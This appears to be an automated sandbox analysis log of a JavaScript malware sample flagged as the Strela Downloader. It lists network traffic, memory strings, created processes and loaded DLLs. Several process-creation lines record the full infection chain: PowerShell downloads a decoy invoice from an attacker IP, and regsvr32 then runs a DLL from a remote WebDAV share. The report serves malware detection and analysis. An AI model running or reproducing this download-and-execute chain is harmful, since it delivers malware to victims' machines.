Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1763534853.000001EAE48B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1829808332.000001F62B910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1829906766.000001F62B93A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1829390135.000001F62B93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/6
Source: net.exe, 00000006.00000002.1829906766.000001F62B93A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1829390135.000001F62B93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/F
Source: net.exe, 00000006.00000002.1829906766.000001F62B93A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1829390135.000001F62B93A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Z
Source: svchost.exe, 00000008.00000002.3063883676.00000264CAA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1830077170.00000264CAC18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1830077170.00000264CAC18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1830077170.00000264CAC18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1830077170.00000264CAC4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1830077170.00000264CACC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1830077170.00000264CACC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1830077170.00000264CACC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7000, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 571464521086425926.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7160:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kq2mlc04.oo1.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\571464521086425926.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1756,i,8073324736629233137,16108880164498888717,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1756,i,8073324736629233137,16108880164498888717,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
